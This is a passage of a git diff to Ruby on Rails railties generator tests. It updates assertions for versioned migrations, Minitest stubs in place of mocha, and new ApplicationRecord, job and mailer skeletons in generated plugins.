["refresh_counters"] + assert_file "app/jobs/application_job.rb" do |job| + assert_match(/class ApplicationJob < ActiveJob::Base/, job) + end + end end diff --git a/railties/test/generators/mailer_generator_test.rb b/railties/test/generators/mailer_generator_test.rb index f01e8cd2d9..8728b39dae 100644 --- a/railties/test/generators/mailer_generator_test.rb +++ b/railties/test/generators/mailer_generator_test.rb @@ -12,13 +12,10 @@ class MailerGeneratorTest < Rails::Generators::TestCase assert_no_match(/default from: "from@example.com"/, mailer) assert_no_match(/layout :mailer_notifier/, mailer) end - end - def test_application_mailer_skeleton_is_created - run_generator - assert_file "app/mailers/application_mailer.rb" do |mailer| + assert_file 'app/mailers/application_mailer.rb' do |mailer| assert_match(/class ApplicationMailer < ActionMailer::Base/, mailer) - assert_match(/default from: "from@example.com"/, mailer) + assert_match(/default from: 'from@example.com'/, mailer) assert_match(/layout 'mailer'/, mailer) end end @@ -87,10 +84,6 @@ class MailerGeneratorTest < Rails::Generators::TestCase assert_match(%r(\sapp/views/notifier_mailer/bar\.text\.erb), view) assert_match(/<%= @greeting %>/, view) end - - assert_file "app/views/layouts/mailer.text.erb" do |view| - assert_match(/<%= yield %>/, view) - end end def test_invokes_default_html_template_engine @@ -104,17 +97,11 @@ class MailerGeneratorTest < Rails::Generators::TestCase assert_match(%r(\sapp/views/notifier_mailer/bar\.html\.erb), view) assert_match(/<%= @greeting %>/, view) end - - assert_file "app/views/layouts/mailer.html.erb" do |view| - assert_match(%r{<html>\n <body>\n <%= yield %>\n </body>\n</html>}, view) - end end def test_invokes_default_template_engine_even_with_no_action run_generator ["notifier"] assert_file "app/views/notifier_mailer" - assert_file "app/views/layouts/mailer.text.erb" - assert_file "app/views/layouts/mailer.html.erb" end def test_logs_if_the_template_engine_cannot_be_found @@ -162,10 +149,6 @@ class MailerGeneratorTest < Rails::Generators::TestCase assert_no_file "app/views/notifier/bar.text.erb" assert_no_file "app/views/notifier/foo.html.erb" assert_no_file "app/views/notifier/bar.html.erb" - - assert_file "app/mailers/application_mailer.rb" - assert_file "app/views/layouts/mailer.text.erb" - assert_file "app/views/layouts/mailer.html.erb" end def test_mailer_suffix_is_not_duplicated diff --git a/railties/test/generators/migration_generator_test.rb b/railties/test/generators/migration_generator_test.rb index 57bc220558..46154b7db2 100644 --- a/railties/test/generators/migration_generator_test.rb +++ b/railties/test/generators/migration_generator_test.rb @@ -7,7 +7,7 @@ class MigrationGeneratorTest < Rails::Generators::TestCase def test_migration migration = "change_title_body_from_posts" run_generator [migration] - assert_migration "db/migrate/#{migration}.rb", /class ChangeTitleBodyFromPosts < ActiveRecord::Migration/ + assert_migration "db/migrate/#{migration}.rb", /class ChangeTitleBodyFromPosts < ActiveRecord::Migration\[[0-9.]+\]/ end def test_migrations_generated_simultaneously @@ -26,7 +26,7 @@ class MigrationGeneratorTest < Rails::Generators::TestCase def test_migration_with_class_name migration = "ChangeTitleBodyFromPosts" run_generator [migration] - assert_migration "db/migrate/change_title_body_from_posts.rb", /class #{migration} < ActiveRecord::Migration/ + assert_migration "db/migrate/change_title_body_from_posts.rb", /class #{migration} < ActiveRecord::Migration\[[0-9.]+\]/ end def test_migration_with_invalid_file_name @@ -79,8 +79,8 @@ class MigrationGeneratorTest < Rails::Generators::TestCase assert_migration "db/migrate/#{migration}.rb" do |content| assert_method :change, content do |change| - assert_match(/remove_reference :books, :author, index: true/, change) - assert_match(/remove_reference :books, :distributor, polymorphic: true, index: true/, change) + assert_match(/remove_reference :books, :author/, change) + assert_match(/remove_reference :books, :distributor, polymorphic: true/, change) end end end @@ -166,8 +166,8 @@ class MigrationGeneratorTest < Rails::Generators::TestCase assert_migration "db/migrate/#{migration}.rb" do |content| assert_method :change, content do |change| - assert_match(/add_reference :books, :author, index: true/, change) - assert_match(/add_reference :books, :distributor, polymorphic: true, index: true/, change) + assert_match(/add_reference :books, :author/, change) + assert_match(/add_reference :books, :distributor, polymorphic: true/, change) end end end @@ -178,8 +178,8 @@ class MigrationGeneratorTest < Rails::Generators::TestCase assert_migration "db/migrate/#{migration}.rb" do |content| assert_method :change, content do |change| - assert_match(/add_reference :books, :author, index: true, null: false/, change) - assert_match(/add_reference :books, :distributor, polymorphic: true, index: true, null: false/, change) + assert_match(/add_reference :books, :author, null: false/, change) + assert_match(/add_reference :books, :distributor, polymorphic: true, null: false/, change) end end end @@ -221,6 +221,15 @@ class MigrationGeneratorTest < Rails::Generators::TestCase end end + def test_add_uuid_to_create_table_migration + run_generator ["create_books", "--primary_key_type=uuid"] + assert_migration "db/migrate/create_books.rb" do |content| + assert_method :change, content do |change| + assert_match(/create_table :books, id: :uuid/, change) + end + end + end + def test_should_create_empty_migrations_if_name_not_start_with_add_or_remove_or_create migration = "delete_books" run_generator [migration, "title:string", "content:text"] diff --git a/railties/test/generators/model_generator_test.rb b/railties/test/generators/model_generator_test.rb index 17a13fbf1f..ed6846abc3 100644 --- a/railties/test/generators/model_generator_test.rb +++ b/railties/test/generators/model_generator_test.rb @@ -6,6 +6,14 @@ class ModelGeneratorTest < Rails::Generators::TestCase include GeneratorsTestHelper arguments %w(Account name:string age:integer) + def test_application_record_skeleton_is_created + run_generator + assert_file "app/models/application_record.rb" do |record| + assert_match(/class ApplicationRecord < ActiveRecord::Base/, record) + assert_match(/self.abstract_class = true/, record) + end + end + def test_help_shows_invoked_generators_options content = run_generator ["--help"] assert_match(/ActiveRecord options:/, content) @@ -35,6 +43,17 @@ class ModelGeneratorTest < Rails::Generators::TestCase assert_no_migration "db/migrate/create_accounts.rb" end + def test_model_with_existent_application_record + mkdir_p "#{destination_root}/app/models" + touch "#{destination_root}/app/models/application_record.rb" + + Dir.chdir(destination_root) do + run_generator ["account"] + end + + assert_file "app/models/account.rb", /class Account < ApplicationRecord/ + end + def test_plural_names_are_singularized content = run_generator ["accounts".freeze] assert_file "app/models/account.rb", /class Account < ActiveRecord::Base/ @@ -57,12 +76,12 @@ class ModelGeneratorTest < Rails::Generators::TestCase def test_migration run_generator - assert_migration "db/migrate/create_accounts.rb", /class CreateAccounts < ActiveRecord::Migration/ + assert_migration "db/migrate/create_accounts.rb", /class CreateAccounts < ActiveRecord::Migration\[[0-9.]+\]/ end def test_migration_with_namespace run_generator ["Gallery::Image"] - assert_migration "db/migrate/create_gallery_images", /class CreateGalleryImages < ActiveRecord::Migration/ + assert_migration "db/migrate/create_gallery_images", /class CreateGalleryImages < ActiveRecord::Migration\[[0-9.]+\]/ assert_no_migration "db/migrate/create_images" end @@ -70,7 +89,7 @@ class ModelGeneratorTest < Rails::Generators::TestCase run_generator ["Admin::Gallery::Image"] assert_no_migration "db/migrate/create_images" assert_no_migration "db/migrate/create_gallery_images" - assert_migration "db/migrate/create_admin_gallery_images", /class CreateAdminGalleryImages < ActiveRecord::Migration/ + assert_migration "db/migrate/create_admin_gallery_images", /class CreateAdminGalleryImages < ActiveRecord::Migration\[[0-9.]+\]/ assert_migration "db/migrate/create_admin_gallery_images", /create_table :admin_gallery_images/ end @@ -80,7 +99,7 @@ class ModelGeneratorTest < Rails::Generators::TestCase assert_no_migration "db/migrate/create_images" assert_no_migration "db/migrate/create_gallery_images" assert_no_migration "db/migrate/create_admin_gallery_images" - assert_migration "db/migrate/create_admin_gallery_image", /class CreateAdminGalleryImage < ActiveRecord::Migration/ + assert_migration "db/migrate/create_admin_gallery_image", /class CreateAdminGalleryImage < ActiveRecord::Migration\[[0-9.]+\]/ assert_migration "db/migrate/create_admin_gallery_image", /create_table :admin_gallery_image/ ensure ActiveRecord::Base.pluralize_table_names = true @@ -89,7 +108,7 @@ class ModelGeneratorTest < Rails::Generators::TestCase def test_migration_with_namespaces_in_model_name_without_plurization ActiveRecord::Base.pluralize_table_names = false run_generator ["Gallery::Image"] - assert_migration "db/migrate/create_gallery_image", /class CreateGalleryImage < ActiveRecord::Migration/ + assert_migration "db/migrate/create_gallery_image", /class CreateGalleryImage < ActiveRecord::Migration\[[0-9.]+\]/ assert_no_migration "db/migrate/create_gallery_images" ensure ActiveRecord::Base.pluralize_table_names = true @@ -98,7 +117,7 @@ class ModelGeneratorTest < Rails::Generators::TestCase def test_migration_without_pluralization ActiveRecord::Base.pluralize_table_names = false run_generator - assert_migration "db/migrate/create_account", /class CreateAccount < ActiveRecord::Migration/ + assert_migration "db/migrate/create_account", /class CreateAccount < ActiveRecord::Migration\[[0-9.]+\]/ assert_no_migration "db/migrate/create_accounts" ensure ActiveRecord::Base.pluralize_table_names = true @@ -193,10 +212,10 @@ class ModelGeneratorTest < Rails::Generators::TestCase def test_migration_without_timestamps ActiveRecord::Base.timestamped_migrations = false run_generator ["account"] - assert_file "db/migrate/001_create_accounts.rb", /class CreateAccounts < ActiveRecord::Migration/ + assert_file "db/migrate/001_create_accounts.rb", /class CreateAccounts < ActiveRecord::Migration\[[0-9.]+\]/ run_generator ["project"] - assert_file "db/migrate/002_create_projects.rb", /class CreateProjects < ActiveRecord::Migration/ + assert_file "db/migrate/002_create_projects.rb", /class CreateProjects < ActiveRecord::Migration\[[0-9.]+\]/ ensure ActiveRecord::Base.timestamped_migrations = true end @@ -287,18 +306,18 @@ class ModelGeneratorTest < Rails::Generators::TestCase def test_fixtures_use_the_references_ids run_generator ["LineItem", "product:references", "cart:belongs_to"] - assert_file "test/fixtures/line_items.yml", /product: \n cart: / + assert_file "test/fixtures/line_items.yml", /product: one\n cart: one/ assert_generated_fixture("test/fixtures/line_items.yml", - {"one"=>{"product"=>nil, "cart"=>nil}, "two"=>{"product"=>nil, "cart"=>nil}}) + {"one"=>{"product"=>"one", "cart"=>"one"}, "two"=>{"product"=>"two", "cart"=>"two"}}) end def test_fixtures_use_the_references_ids_and_type run_generator ["LineItem", "product:references{polymorphic}", "cart:belongs_to"] - assert_file "test/fixtures/line_items.yml", /product: \n product_type: Product\n cart: / + assert_file "test/fixtures/line_items.yml", /product: one\n product_type: Product\n cart: one/ assert_generated_fixture("test/fixtures/line_items.yml", - {"one"=>{"product"=>nil, "product_type"=>"Product", "cart"=>nil}, - "two"=>{"product"=>nil, "product_type"=>"Product", "cart"=>nil}}) + {"one"=>{"product"=>"one", "product_type"=>"Product", "cart"=>"one"}, + "two"=>{"product"=>"two", "product_type"=>"Product", "cart"=>"two"}}) end def test_fixtures_respect_reserved_yml_keywords @@ -319,31 +338,21 @@ class ModelGeneratorTest < Rails::Generators::TestCase assert_no_file "test/fixtures/accounts.yml" end + def test_fixture_without_pluralization + original_pluralize_table_name = ActiveRecord::Base.pluralize_table_names + ActiveRecord::Base.pluralize_table_names = false + run_generator + assert_generated_fixture("test/fixtures/account.yml", + {"one"=>{"name"=>"MyString", "age"=>1}, "two"=>{"name"=>"MyString", "age"=>1}}) + ensure + ActiveRecord::Base.pluralize_table_names = original_pluralize_table_name + end + def test_check_class_collision content = capture(:stderr){ run_generator ["object"] } assert_match(/The name 'Object' is either already used in your application or reserved/, content) end - def test_index_is_added_for_belongs_to_association - run_generator ["account", "supplier:belongs_to"] - - assert_migration "db/migrate/create_accounts.rb" do |m| - assert_method :change, m do |up| - assert_match(/index: true/, up) - end - end - end - - def test_index_is_added_for_references_association - run_generator ["account", "supplier:references"] - - assert_migration "db/migrate/create_accounts.rb" do |m| - assert_method :change, m do |up| - assert_match(/index: true/, up) - end - end - end - def test_index_is_skipped_for_belongs_to_association run_generator ["account", "supplier:belongs_to", "--no-indexes"] @@ -364,6 +373,15 @@ class ModelGeneratorTest < Rails::Generators::TestCase end end + def test_add_uuid_to_create_table_migration + run_generator ["account", "--primary_key_type=uuid"] + assert_migration "db/migrate/create_accounts.rb" do |content| + assert_method :change, content do |change| + assert_match(/create_table :accounts, id: :uuid/, change) + end + end + end + def test_required_belongs_to_adds_required_association run_generator ["account", "supplier:references{required}"] diff --git a/railties/test/generators/named_base_test.rb b/railties/test/generators/named_base_test.rb index 18a26fde05..291f5e06c3 100644 --- a/railties/test/generators/named_base_test.rb +++ b/railties/test/generators/named_base_test.rb @@ -1,6 +1,5 @@ require 'generators/generators_test_helper' require 'rails/generators/rails/scaffold_controller/scaffold_controller_generator' -require 'mocha/setup' # FIXME: stop using mocha class NamedBaseTest < Rails::Generators::TestCase include GeneratorsTestHelper @@ -80,10 +79,13 @@ class NamedBaseTest < Rails::Generators::TestCase def test_application_name g = generator ['Admin::Foo'] - Rails.stubs(:application).returns(Object.new) - assert_name g, "object", :application_name - Rails.stubs(:application).returns(nil) - assert_name g, "application", :application_name + Rails.stub(:application, Object.new) do + assert_name g, "object", :application_name + end + + Rails.stub(:application, nil) do + assert_name g, "application", :application_name + end end def test_index_helper @@ -103,11 +105,11 @@ class NamedBaseTest < Rails::Generators::TestCase def test_hide_namespace g = generator ['Hidden'] - g.class.stubs(:namespace).returns('hidden') - - assert !Rails::Generators.hidden_namespaces.include?('hidden') - g.class.hide! - assert Rails::Generators.hidden_namespaces.include?('hidden') + g.class.stub(:namespace, 'hidden') do + assert !Rails::Generators.hidden_namespaces.include?('hidden') + g.class.hide! + assert Rails::Generators.hidden_namespaces.include?('hidden') + end end def test_scaffold_plural_names_with_model_name_option diff --git a/railties/test/generators/namespaced_generators_test.rb b/railties/test/generators/namespaced_generators_test.rb index e839b67960..d76759a7d1 100644 --- a/railties/test/generators/namespaced_generators_test.rb +++ b/railties/test/generators/namespaced_generators_test.rb @@ -104,12 +104,12 @@ class NamespacedModelGeneratorTest < NamespacedGeneratorTestCase def test_migration run_generator - assert_migration "db/migrate/create_test_app_accounts.rb", /create_table :test_app_accounts/, /class CreateTestAppAccounts < ActiveRecord::Migration/ + assert_migration "db/migrate/create_test_app_accounts.rb", /create_table :test_app_accounts/, /class CreateTestAppAccounts < ActiveRecord::Migration\[[0-9.]+\]/ end def test_migration_with_namespace run_generator ["Gallery::Image"] - assert_migration "db/migrate/create_test_app_gallery_images", /class CreateTestAppGalleryImages < ActiveRecord::Migration/ + assert_migration "db/migrate/create_test_app_gallery_images", /class CreateTestAppGalleryImages < ActiveRecord::Migration\[[0-9.]+\]/ assert_no_migration "db/migrate/create_test_app_images" end @@ -117,7 +117,7 @@ class NamespacedModelGeneratorTest < NamespacedGeneratorTestCase run_generator ["Admin::Gallery::Image"] assert_no_migration "db/migrate/create_images" assert_no_migration "db/migrate/create_gallery_images" - assert_migration "db/migrate/create_test_app_admin_gallery_images", /class CreateTestAppAdminGalleryImages < ActiveRecord::Migration/ + assert_migration "db/migrate/create_test_app_admin_gallery_images", /class CreateTestAppAdminGalleryImages < ActiveRecord::Migration\[[0-9.]+\]/ assert_migration "db/migrate/create_test_app_admin_gallery_images", /create_table :test_app_admin_gallery_images/ end @@ -127,7 +127,7 @@ class NamespacedModelGeneratorTest < NamespacedGeneratorTestCase assert_no_migration "db/migrate/create_images" assert_no_migration "db/migrate/create_gallery_images" assert_no_migration "db/migrate/create_test_app_admin_gallery_images" - assert_migration "db/migrate/create_test_app_admin_gallery_image", /class CreateTestAppAdminGalleryImage < ActiveRecord::Migration/ + assert_migration "db/migrate/create_test_app_admin_gallery_image", /class CreateTestAppAdminGalleryImage < ActiveRecord::Migration\[[0-9.]+\]/ assert_migration "db/migrate/create_test_app_admin_gallery_image", /create_table :test_app_admin_gallery_image/ ensure ActiveRecord::Base.pluralize_table_names = true @@ -218,7 +218,7 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase /class ProductLinesController < ApplicationController/ assert_file "test/controllers/test_app/product_lines_controller_test.rb", - /module TestApp\n class ProductLinesControllerTest < ActionController::TestCase/ + /module TestApp\n class ProductLinesControllerTest < ActionDispatch::IntegrationTest/ # Views %w(index edit new show _form).each do |view| @@ -281,10 +281,11 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase # Controller assert_file "app/controllers/test_app/admin/roles_controller.rb" do |content| assert_match(/module TestApp\n class Admin::RolesController < ApplicationController/, content) + assert_match(%r(require_dependency "test_app/application_controller"), content) end assert_file "test/controllers/test_app/admin/roles_controller_test.rb", - /module TestApp\n class Admin::RolesControllerTest < ActionController::TestCase/ + /module TestApp\n class Admin::RolesControllerTest < ActionDispatch::IntegrationTest/ # Views %w(index edit new show _form).each do |view| @@ -351,7 +352,7 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase end assert_file "test/controllers/test_app/admin/user/special/roles_controller_test.rb", - /module TestApp\n class Admin::User::Special::RolesControllerTest < ActionController::TestCase/ + /module TestApp\n class Admin::User::Special::RolesControllerTest < ActionDispatch::IntegrationTest/ # Views %w(index edit new show _form).each do |view| @@ -395,4 +396,28 @@ class NamespacedScaffoldGeneratorTest < NamespacedGeneratorTestCase # Stylesheets (should not be removed) assert_file "app/assets/stylesheets/scaffold.css" end + + def test_api_scaffold_with_namespace_on_invoke + run_generator [ "admin/role", "name:string", "description:string", "--api" ] + + # Model + assert_file "app/models/test_app/admin.rb", /module TestApp\n module Admin/ + assert_file "app/models/test_app/admin/role.rb", /module TestApp\n class Admin::Role < ActiveRecord::Base/ + assert_file "test/models/test_app/admin/role_test.rb", /module TestApp\n class Admin::RoleTest < ActiveSupport::TestCase/ + assert_file "test/fixtures/test_app/admin/roles.yml" + assert_migration "db/migrate/create_test_app_admin_roles.rb" + + # Route + assert_file "config/routes.rb" do |route| + assert_match(/^ namespace :admin do\n resources :roles\n end$/, route) + end + + # Controller + assert_file "app/controllers/test_app/admin/roles_controller.rb" do |content| + assert_match(/module TestApp\n class Admin::RolesController < ApplicationController/, content) + assert_match(%r(require_dependency "test_app/application_controller"), content) + end + assert_file "test/controllers/test_app/admin/roles_controller_test.rb", + /module TestApp\n class Admin::RolesControllerTest < ActionDispatch::IntegrationTest/ + end end diff --git a/railties/test/generators/plugin_generator_test.rb b/railties/test/generators/plugin_generator_test.rb index a0f244da28..3cc8e1de55 100644 --- a/railties/test/generators/plugin_generator_test.rb +++ b/railties/test/generators/plugin_generator_test.rb @@ -1,13 +1,12 @@ require 'generators/generators_test_helper' require 'rails/generators/rails/plugin/plugin_generator' require 'generators/shared_generator_tests' -require 'mocha/setup' # FIXME: stop using mocha DEFAULT_PLUGIN_FILES = %w( .gitignore Gemfile Rakefile - README.rdoc + README.md bukkits.gemspec MIT-LICENSE lib @@ -38,7 +37,7 @@ class PluginGeneratorTest < Rails::Generators::TestCase assert_equal "Invalid plugin name 43things. Please give a name which does not start with numbers.\n", content content = capture(:stderr){ run_generator [File.join(destination_root, "plugin")] } - assert_equal "Invalid plugin name plugin. Please give a name which does not match one of the reserved rails words.\n", content + assert_equal "Invalid plugin name plugin. Please give a name which does not match one of the reserved rails words: application, destroy, plugin, runner, test\n", content content = capture(:stderr){ run_generator [File.join(destination_root, "Digest")] } assert_equal "Invalid plugin name Digest, constant Digest is already in use. Please choose another plugin name.\n", content @@ -59,14 +58,18 @@ class PluginGeneratorTest < Rails::Generators::TestCase def test_generating_without_options run_generator - assert_file "README.rdoc", /Bukkits/ + assert_file "README.md", /Bukkits/ assert_no_file "config/routes.rb" + assert_no_file "app/assets/config/bukkits_manifest.js" assert_file "test/test_helper.rb" do |content| assert_match(/require.+test\/dummy\/config\/environment/, content) assert_match(/ActiveRecord::Migrator\.migrations_paths.+test\/dummy\/db\/migrate/, content) assert_match(/Minitest\.backtrace_filter = Minitest::BacktraceFilter\.new/, content) + assert_match(/Rails::TestUnitReporter\.executable = 'bin\/test'/, content) end assert_file "test/bukkits_test.rb", /assert_kind_of Module, Bukkits/ + assert_file 'bin/test' + assert_no_file 'bin/rails' end def test_generating_test_files_in_full_mode @@ -223,7 +226,7 @@ class PluginGeneratorTest < Rails::Generators::TestCase run_generator FileUtils.cd destination_root quietly { system 'bundle install' } - assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bundle exec rake test 2>&1`) + assert_match(/1 runs, 1 assertions, 0 failures, 0 errors/, `bin/test 2>&1`) end def test_ensure_that_tests_works_in_full_mode @@ -237,7 +240,7 @@ class PluginGeneratorTest < Rails::Generators::TestCase run_generator [destination_root, "--mountable"] FileUtils.cd destination_root quietly { system 'bundle install' } - output = `bundle exec rake db:migrate 2>&1` + output = `bin/rails db:migrate 2>&1` assert $?.success?, "Command failed: #{output}" end @@ -304,6 +307,9 @@ class PluginGeneratorTest < Rails::Generators::TestCase assert_file "lib/bukkits/engine.rb", /isolate_namespace Bukkits/ assert_file "test/dummy/config/routes.rb", /mount Bukkits::Engine => "\/bukkits"/ assert_file "app/controllers/bukkits/application_controller.rb", /module Bukkits\n class ApplicationController < ActionController::Base/ + assert_file "app/models/bukkits/application_record.rb", /module Bukkits\n class ApplicationRecord < ActiveRecord::Base/ + assert_file "app/jobs/bukkits/application_job.rb", /module Bukkits\n class ApplicationJob < ActiveJob::Base/ + assert_file "app/mailers/bukkits/application_mailer.rb", /module Bukkits\n class ApplicationMailer < ActionMailer::Base\n default from: 'from@example.com'\n layout 'mailer'\n/ assert_file "app/helpers/bukkits/application_helper.rb", /module Bukkits\n module ApplicationHelper/ assert_file "app/views/layouts/bukkits/application.html.erb" do |contents| assert_match "<title>Bukkits</title>", contents @@ -313,7 +319,10 @@ class PluginGeneratorTest < Rails::Generators::TestCase assert_file "test/test_helper.rb" do |content| assert_match(/ActiveRecord::Migrator\.migrations_paths.+\.\.\/test\/dummy\/db\/migrate/, content) assert_match(/ActiveRecord::Migrator\.migrations_paths.+<<.+\.\.\/db\/migrate/, content) + assert_match(/ActionDispatch::IntegrationTest\.fixture_path = ActiveSupport::TestCase\.fixture_pat/, content) + assert_no_match(/Rails::TestUnitReporter\.executable = 'bin\/test'/, content) end + assert_no_file 'bin/test' end def test_create_mountable_application_with_mountable_option_and_hypenated_name @@ -322,11 +331,14 @@ class PluginGeneratorTest < Rails::Generators::TestCase assert_file "hyphenated-name/app/assets/stylesheets/hyphenated/name" assert_file "hyphenated-name/app/assets/images/hyphenated/name" assert_file "hyphenated-name/config/routes.rb", /Hyphenated::Name::Engine.routes.draw do/ - assert_file "hyphenated-name/lib/hyphenated/name/version.rb", /module Hyphenated\n module Name\n VERSION = "0.0.1"\n end\nend/ + assert_file "hyphenated-name/lib/hyphenated/name/version.rb", /module Hyphenated\n module Name\n VERSION = '0.1.0'\n end\nend/ assert_file "hyphenated-name/lib/hyphenated/name/engine.rb", /module Hyphenated\n module Name\n class Engine < ::Rails::Engine\n isolate_namespace Hyphenated::Name\n end\n end\nend/ assert_file "hyphenated-name/lib/hyphenated/name.rb", /require "hyphenated\/name\/engine"/ assert_file "hyphenated-name/test/dummy/config/routes.rb", /mount Hyphenated::Name::Engine => "\/hyphenated-name"/ - assert_file "hyphenated-name/app/controllers/hyphenated/name/application_controller.rb", /module Hyphenated\n module Name\n class ApplicationController < ActionController::Base\n end\n end\nend/ + assert_file "hyphenated-name/app/controllers/hyphenated/name/application_controller.rb", /module Hyphenated\n module Name\n class ApplicationController < ActionController::Base\n protect_from_forgery with: :exception\n end\n end\nend\n/ + assert_file "hyphenated-name/app/models/hyphenated/name/application_record.rb", /module Hyphenated\n module Name\n class ApplicationRecord < ActiveRecord::Base\n self\.abstract_class = true\n end\n end\nend/ + assert_file "hyphenated-name/app/jobs/hyphenated/name/application_job.rb", /module Hyphenated\n module Name\n class ApplicationJob < ActiveJob::Base/ + assert_file "hyphenated-name/app/mailers/hyphenated/name/application_mailer.rb", /module Hyphenated\n module Name\n class ApplicationMailer < ActionMailer::Base\n default from: 'from@example.com'\n layout 'mailer'\n end\n end\nend/ assert_file "hyphenated-name/app/helpers/hyphenated/name/application_helper.rb", /module Hyphenated\n module Name\n module ApplicationHelper\n end\n end\nend/ assert_file "hyphenated-name/app/views/layouts/hyphenated/name/application.html.erb" do |contents| assert_match "<title>Hyphenated name</title>", contents @@ -341,11 +353,14 @@ class PluginGeneratorTest < Rails::Generators::TestCase assert_file "my_hyphenated-name/app/assets/stylesheets/my_hyphenated/name" assert_file "my_hyphenated-name/app/assets/images/my_hyphenated/name" assert_file "my_hyphenated-name/config/routes.rb", /MyHyphenated::Name::Engine.routes.draw do/ - assert_file "my_hyphenated-name/lib/my_hyphenated/name/version.rb", /module MyHyphenated\n module Name\n VERSION = "0.0.1"\n end\nend/ + assert_file "my_hyphenated-name/lib/my_hyphenated/name/version.rb", /module MyHyphenated\n module Name\n VERSION = '0.1.0'\n end\nend/ assert_file "my_hyphenated-name/lib/my_hyphenated/name/engine.rb", /module MyHyphenated\n module Name\n class Engine < ::Rails::Engine\n isolate_namespace MyHyphenated::Name\n end\n end\nend/ assert_file "my_hyphenated-name/lib/my_hyphenated/name.rb", /require "my_hyphenated\/name\/engine"/ assert_file "my_hyphenated-name/test/dummy/config/routes.rb", /mount MyHyphenated::Name::Engine => "\/my_hyphenated-name"/ - assert_file "my_hyphenated-name/app/controllers/my_hyphenated/name/application_controller.rb", /module MyHyphenated\n module Name\n class ApplicationController < ActionController::Base\n end\n end\nend/ + assert_file "my_hyphenated-name/app/controllers/my_hyphenated/name/application_controller.rb", /module MyHyphenated\n module Name\n class ApplicationController < ActionController::Base\n protect_from_forgery with: :exception\n end\n end\nend\n/ + assert_file "my_hyphenated-name/app/models/my_hyphenated/name/application_record.rb", /module MyHyphenated\n module Name\n class ApplicationRecord < ActiveRecord::Base\n self\.abstract_class = true\n end\n end\nend/ + assert_file "my_hyphenated-name/app/jobs/my_hyphenated/name/application_job.rb", /module MyHyphenated\n module Name\n class ApplicationJob < ActiveJob::Base/ + assert_file "my_hyphenated-name/app/mailers/my_hyphenated/name/application_mailer.rb", /module MyHyphenated\n module Name\n class ApplicationMailer < ActionMailer::Base\n default from: 'from@example.com'\n layout 'mailer'\n end\n end\nend/ assert_file "my_hyphenated-name/app/helpers/my_hyphenated/name/application_helper.rb", /module MyHyphenated\n module Name\n module ApplicationHelper\n end\n end\nend/ assert_file "my_hyphenated-name/app/views/layouts/my_hyphenated/name/application.html.erb" do |contents| assert_match "<title>My hyphenated name</title>", contents @@ -360,11 +375,14 @@ class PluginGeneratorTest < Rails::Generators::TestCase assert_file "deep-hyphenated-name/app/assets/stylesheets/deep/hyphenated/name" assert_file "deep-hyphenated-name/app/assets/images/deep/hyphenated/name" assert_file "deep-hyphenated-name/config/routes.rb", /Deep::Hyphenated::Name::Engine.routes.draw do/ - assert_file "deep-hyphenated-name/lib/deep/hyphenated/name/version.rb", /module Deep\n module Hyphenated\n module Name\n VERSION = "0.0.1"\n end\n end\nend/ + assert_file "deep-hyphenated-name/lib/deep/hyphenated/name/version.rb", /module Deep\n module Hyphenated\n module Name\n VERSION = '0.1.0'\n end\n end\nend/ assert_file "deep-hyphenated-name/lib/deep/hyphenated/name/engine.rb", /module Deep\n module Hyphenated\n module Name\n class Engine < ::Rails::Engine\n isolate_namespace Deep::Hyphenated::Name\n end\n end\n end\nend/ assert_file "deep-hyphenated-name/lib/deep/hyphenated/name.rb", /require "deep\/hyphenated\/name\/engine"/ assert_file "deep-hyphenated-name/test/dummy/config/routes.rb", /mount Deep::Hyphenated::Name::Engine => "\/deep-hyphenated-name"/ - assert_file "deep-hyphenated-name/app/controllers/deep/hyphenated/name/application_controller.rb", /module Deep\n module Hyphenated\n module Name\n class ApplicationController < ActionController::Base\n end\n end\n end\nend/ + assert_file "deep-hyphenated-name/app/controllers/deep/hyphenated/name/application_controller.rb", /module Deep\n module Hyphenated\n module Name\n class ApplicationController < ActionController::Base\n protect_from_forgery with: :exception\n end\n end\n end\nend\n/ + assert_file "deep-hyphenated-name/app/models/deep/hyphenated/name/application_record.rb", /module Deep\n module Hyphenated\n module Name\n class ApplicationRecord < ActiveRecord::Base\n self\.abstract_class = true\n end\n end\n end\nend/ + assert_file "deep-hyphenated-name/app/jobs/deep/hyphenated/name/application_job.rb", /module Deep\n module Hyphenated\n module Name\n class ApplicationJob < ActiveJob::Base/ + assert_file "deep-hyphenated-name/app/mailers/deep/hyphenated/name/application_mailer.rb", /module Deep\n module Hyphenated\n module Name\n class ApplicationMailer < ActionMailer::Base\n default from: 'from@example.com'\n layout 'mailer'\n end\n end\n end\nend/ assert_file "deep-hyphenated-name/app/helpers/deep/hyphenated/name/application_helper.rb", /module Deep\n module Hyphenated\n module Name\n module ApplicationHelper\n end\n end\n end\nend/ assert_file "deep-hyphenated-name/app/views/layouts/deep/hyphenated/name/application.html.erb" do |contents| assert_match "<title>Deep hyphenated name</title>", contents @@ -376,8 +394,7 @@ class PluginGeneratorTest < Rails::Generators::TestCase def test_creating_gemspec run_generator assert_file "bukkits.gemspec", /s.name\s+= "bukkits"/ - assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*", "MIT-LICENSE", "Rakefile", "README\.rdoc"\]/ - assert_file "bukkits.gemspec", /s.test_files = Dir\["test\/\*\*\/\*"\]/ + assert_file "bukkits.gemspec", /s.files = Dir\["\{app,config,db,lib\}\/\*\*\/\*", "MIT-LICENSE", "Rakefile", "README\.md"\]/ assert_file "bukkits.gemspec", /s.version\s+ = Bukkits::VERSION/ end @@ -427,6 +444,14 @@ class PluginGeneratorTest < Rails::Generators::TestCase end end + def test_dummy_appplication_skip_listen_by_default + run_generator + + assert_file 'test/dummy/config/environments/development.rb' do |contents| + assert_match(/^\s*# config.file_watcher = ActiveSupport::EventedFileUpdateChecker/, contents) + end + end + def test_ensure_that_gitignore_can_be_generated_from_a_template_for_dummy_path FileUtils.cd(Rails.root) run_generator([destination_root, "--dummy_path", "spec/dummy", "--skip-test"]) @@ -435,12 +460,22 @@ class PluginGeneratorTest < Rails::Generators::TestCase end end + def test_unnecessary_files_are_not_generated_in_dummy_application + run_generator + assert_no_file 'test/dummy/.gitignore' + assert_no_file 'test/dummy/db/seeds.rb' + assert_no_file 'test/dummy/Gemfile' + assert_no_file 'test/dummy/public/robots.txt' + assert_no_file 'test/dummy/README.md' + assert_no_directory 'test/dummy/lib/tasks' + assert_no_directory 